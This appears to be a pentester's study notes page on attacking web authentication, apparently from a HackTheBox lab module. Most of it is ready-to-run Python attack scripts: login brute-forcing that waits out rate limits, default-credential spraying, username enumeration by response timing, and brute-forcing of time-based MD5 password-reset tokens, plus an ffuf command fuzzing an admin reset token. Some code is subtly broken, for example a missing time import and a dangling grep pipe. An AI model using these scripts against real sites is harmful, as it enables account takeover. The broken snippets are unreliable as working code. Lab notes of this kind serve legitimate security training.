Part 2
Utilizing Burp Sequencer
Login to application to get a session id/cookie
Find a request that is associated with session/cookie value in a server response
Send this request to Burp sequencer> go to Sequencer tab
In Live capture menu, select cookie value and Start live capture
ENSURE THAT RESULTS ARE ABOIVE FIPS PASS LEVEL
Note: This is very noisy
smuggler.py usage:
# single host
smuggler.py -u $URL
# from a list
cat list_of_hosts.txt | python3 smuggler.py
Does every form have anti-CSRF token present
Referer header used for origin validation?
Token Testing
Conduct test with token of the same length
Conduct test for static/known values
Conduct test with token from a separate session
Test previous valid token
Test with no token
Predictable?
Will XSS steal the token?
Able to swap HTTP request methods? (Get to POST)
Default Credentials
https://www.cirt.net/passwords
Weak Bruteforce Protections
CAPTCHA
A weak implementation where the PHP code places the image's content into the id field.
Rate Limiting
The following script, understand messages related to rate-limiting and successful login attempts.
import requests
# file that contain user:pass
userpass_file = "userpass.txt"
# create url using user and password as argument
url = "http://127.0.0.1/login.php"
# rate limit blocks for 30 seconds
lock_time = 30
# message that alert us we hit rate limit
lock_message = "Too many failures"
# read user and password
with open(userpass_file, "r") as fh:
for fline in fh:
# skip comment
if fline.startswith("#"):
continue
# take username
username = fline.split(":")[0]
# take password, join to keep password that contain a :
password = ":".join(fline.split(":")[1:])
# prepare POST data
data = {
"user": username,
"pass": password
}
# do the request
res = requests.post(url, data=data)
# handle generic credential error
if "Invalid credentials" in res.text:
print("[-] Invalid credentials: userid:{} passwd:{}".format(username, password))
# user and password were valid !
elif "Access granted" in res.text:
print("[+] Valid credentials: userid:{} passwd:{}".format(username, password))
# hit rate limit, let's say we have to wait 30 seconds
elif lock_message in res.text:
print("[-] Hit rate limit, sleeping 30")
# do the actual sleep plus 0.5 to be sure
time.sleep(lock_time+0.5)
Insufficient Protections
X-Forwarded-For Header
import sys
import requests
import os.path
# define target url, change as needed
url = "http://brokenauthentication.hackthebox.eu/login.php"
# define a fake headers to present ourself as Chromium browser, change if needed
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"}
# define the string expected if valid account has been found. our basic PHP example replies with Welcome in case of success
valid = "Welcome"
"""
wordlist is expected as CSV with field like: Vendor,User,Password,Comment
for this test we are using SecLists' Passwords/Default-Credentials/default-passwords.csv
change this function if your wordlist has a different format
"""
def unpack(fline):
# get user
userid = fline.split(",")[1]
# if pass could contain a , we should need to handle this in another way
passwd = fline.split(",")[2]
return userid, passwd
"""
our PHP example accepts requests via POST, and requires parameters as userid and passwd
"""
def do_req(url, userid, passwd, headers):
data = {"userid": userid, "passwd": passwd, "submit": "submit"}
res = requests.post(url, headers=headers, data=data)
return res.text
"""
if defined valid string is found in response body return True
"""
def check(haystack, needle):
if needle in haystack:
return True
else:
return False
def main():
# check if this script has been runned with an argument, and the argument exists and is a file
if (len(sys.argv) > 1) and (os.path.isfile(sys.argv[1])):
fname = sys.argv[1]
else:
print("[!] Please check wordlist.")
print("[-] Usage: python3 {} /path/to/wordlist".format(sys.argv[0]))
sys.exit()
# open the file, this is our wordlist
with open(fname) as fh:
# read file line by line
for fline in fh:
# skip line if it starts with a comment
if fline.startswith("#"):
continue
# use unpack() function to extract userid and password from wordlist, removing trailing newline
userid, passwd = unpack(fline.rstrip())
# call do_req() to do the HTTP request
print("[-] Checking account {} {}".format(userid, passwd))
res = do_req(url, userid, passwd, headers)
# call function check() to verify if HTTP response text matches our content
if (check(res, valid)):
print("[+] Valid account found: userid:{} passwd:{}".format(userid, passwd))
if __name__ == "__main__":
main()
Brute Force Usernames
User Unknown Attack
$SECLISTS/Usernames/top-usernames-shortlist.txt
Timing Attack
import sys
import requests
import os.path
# define target url, change as needed
url = "http://brokenauthentication.hackthebox.eu/login.php"
# define a fake headers to present ourself as Chromium browser, change if needed
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"}
# define the string expected if valid account has been found. our basic PHP example replies with Welcome in case of success
valid = "Welcome"
"""
wordlist is expected as simple list, we keep this function to have it ready if needed.
for this test we are using /opt/useful/SecLists/Usernames/top-usernames-shortlist.txt
change this function if your wordlist has a different format
"""
def unpack(fline):
userid = fline
passwd = 'foobar'
return userid, passwd
"""
our PHP example accepts requests via POST, and requires parameters as userid and passwd
"""
def do_req(url, userid, passwd, headers):
data = {"userid": userid, "passwd": passwd, "submit": "submit"}
res = requests.post(url, headers=headers, data=data)
print("[+] user {:15} took {}".format(userid, res.elapsed.total_seconds()))
return res.text
def main():
# check if this script has been runned with an argument, and the argument exists and is a file
if (len(sys.argv) > 1) and (os.path.isfile(sys.argv[1])):
fname = sys.argv[1]
else:
print("[!] Please check wordlist.")
print("[-] Usage: python3 {} /path/to/wordlist".format(sys.argv[0]))
sys.exit()
# open the file, this is our wordlist
with open(fname) as fh:
# read file line by line
for fline in fh:
# skip line if it starts with a comment
if fline.startswith("#"):
continue
# use unpack() function to extract userid and password from wordlist, removing trailing newline
userid, passwd = unpack(fline.rstrip())
# call do_req() to do the HTTP request
print("[-] Checking account {} {}".format(userid, passwd))
res = do_req(url, userid, passwd, headers)
if __name__ == "__main__":
main()
Brute Forcing Passwords
Password Inference
Families are:
lowercase characters, like abcd..z
uppercase characters, like ABCD..Z
digit, numbers from 0 to 9
special characters, like ,./.?! or any other printable one (space is a char!)
![[Pasted image 20230309204953.png]]
# Grep Lower + Uppercase, between 8-12 chars
grep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep -E '^.{8,12}$' |
Predictable Reset Token
Time-Based Token Script
from hashlib import md5
import requests
from sys import exit
from time import time
url = "http://127.0.0.1/reset_token_time.php"
# to have a wide window try to bruteforce starting from 120seconds ago
now = int(time())
start_time = now - 120
fail_text = "Wrong token"
# loop from start_time to now. + 1 is needed because of how range() works
for x in range(start_time, now + 1):
# get token md5
md5_token = md5(str(x).encode()).hexdigest()
data = {
"submit": "check",
"token": md5_token
}
print("checking {} {}".format(str(x), md5_token))
# send the request
res = requests.post(url, data=data)
# response text check
if not fail_text in res.text:
print(res.text)
print("[*] Congratulations! raw reply printed before")
exit()
Short Tokens
We can brute force this with FFUF.
ffuf -w <wordlist> --ss "Valid" "https://brokenauthentication.hackthebox.eu/token.php?user=admin&token=FUZZ"
Last updated